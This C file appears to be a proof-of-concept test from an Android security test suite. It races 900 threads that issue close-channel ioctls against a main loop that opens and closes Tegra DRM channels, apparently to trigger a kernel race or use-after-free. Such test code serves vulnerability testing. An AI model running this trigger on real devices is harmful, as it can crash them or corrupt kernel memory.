| /* |
| * Copyright (C) 2017 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| #define _GNU_SOURCE |
| #include <string.h> |
| #include <stdio.h> |
| #include <stdlib.h> |
| #include <pthread.h> |
| #include <sys/ioctl.h> |
| #include <errno.h> |
| #include <sys/stat.h> |
| #include <fcntl.h> |
| #include <sched.h> |
| #include <sys/types.h> |
| #include <signal.h> |
| #include <unistd.h> |
| #define THREAD_NUM 900 |
| #define DEV "/dev/dri/renderD129" |
| |
| #define SIOCIWFIRSTPRIV 0x8BE0 |
| #define SIOCGIWNAME 0x8B01 |
| #define IOCTL_SET_STRUCT_FOR_EM (SIOCIWFIRSTPRIV + 11) |
| #define PRIV_CUSTOM_BWCS_CMD 13 |
| #define PRIV_CMD_OID 15 |
| #define PRIV_CMD_SW_CTRL 20 |
| #define PRIV_CMD_WSC_PROBE_REQ 22 |
| |
| enum host1x_class { |
| HOST1X_CLASS_HOST1X = 0x1, |
| HOST1X_CLASS_NVENC = 0x21, |
| HOST1X_CLASS_VI = 0x30, |
| HOST1X_CLASS_ISPA = 0x32, |
| HOST1X_CLASS_ISPB = 0x34, |
| HOST1X_CLASS_GR2D = 0x51, |
| HOST1X_CLASS_GR2D_SB = 0x52, |
| HOST1X_CLASS_VIC = 0x5D, |
| HOST1X_CLASS_GR3D = 0x60, |
| HOST1X_CLASS_NVJPG = 0xC0, |
| HOST1X_CLASS_NVDEC = 0xF0, |
| }; |
| |
| #define DRM_COMMAND_BASE 0x40 |
| #define DRM_COMMAND_END 0xA0 |
| |
| #define DRM_TEGRA_OPEN_CHANNEL 0x05 |
| #define DRM_TEGRA_CLOSE_CHANNEL 0x06 |
| |
| struct drm_tegra_open_channel { |
| __u32 client; |
| __u32 pad; |
| __u64 context; |
| }; |
| |
| struct drm_tegra_close_channel { |
| __u64 context; |
| }; |
| |
| #define DRM_IOCTL_BASE 'd' |
| #define DRM_IOWR(nr,type) _IOWR(DRM_IOCTL_BASE,nr,type) |
| #define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel) |
| #define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel) |
| |
| int fd; |
| pthread_t thread_id[THREAD_NUM] = { 0 }; |
| int thread_ret[THREAD_NUM] = { 0 }; |
| int futex_signal = 0; |
| |
| struct drm_tegra_open_channel open_c = { 0 }; |
| volatile struct drm_tegra_close_channel close_c = { 0 }; |
| |
| static int set_affinity(int num) |
| { |
| int ret = 0; |
| cpu_set_t mask; |
| CPU_ZERO(&mask); |
| CPU_SET(num, &mask); |
| ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask); |
| if(ret == -1){ |
| printf("[-] set affinity failed: [%d]-%s\n", errno, strerror(errno)); |
| } |
| return ret; |
| } |
| |
| static void prepare() |
| { |
| open_c.client = HOST1X_CLASS_VIC; |
| } |
| |
| void* child(void* no_use) |
| { |
| int ret = 1; |
| set_affinity(1); |
| |
| while(ret){ |
| ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c); |
| } |
| return NULL; |
| } |
| |
| int main() |
| { |
| int i, try_time = THREAD_NUM, ret; |
| |
| /* bind_cpu */ |
| set_affinity(0); |
| |
| /* open dev */ |
| fd = open(DEV,O_RDONLY); |
| if(fd == -1){ |
| printf("[+] open failed %d %s\n", errno, strerror(errno)); |
| return 0; |
| } |
| |
| /* prepare ioctl cmd */ |
| prepare(); |
| |
| /* create thread */ |
| for(i = 0; i < THREAD_NUM; i++){ |
| thread_ret[i] = pthread_create(thread_id + i, NULL, child, NULL); |
| } |
| |
| while(try_time--){ |
| /* open */ |
| ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c); |
| /* close */ |
| close_c.context = open_c.context; |
| ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c); |
| if(ret){ |
| }else{ |
| open_c.context = 0UL; |
| } |
| } |
| |
| out_thread: |
| /* kill thread */ |
| for(i = 0; i < THREAD_NUM; i++){ |
| if(!thread_ret[i]){ |
| pthread_kill(thread_id[i], SIGKILL); |
| } |
| } |
| |
| out_close: |
| close(fd); |
| return 0; |
| } |
| |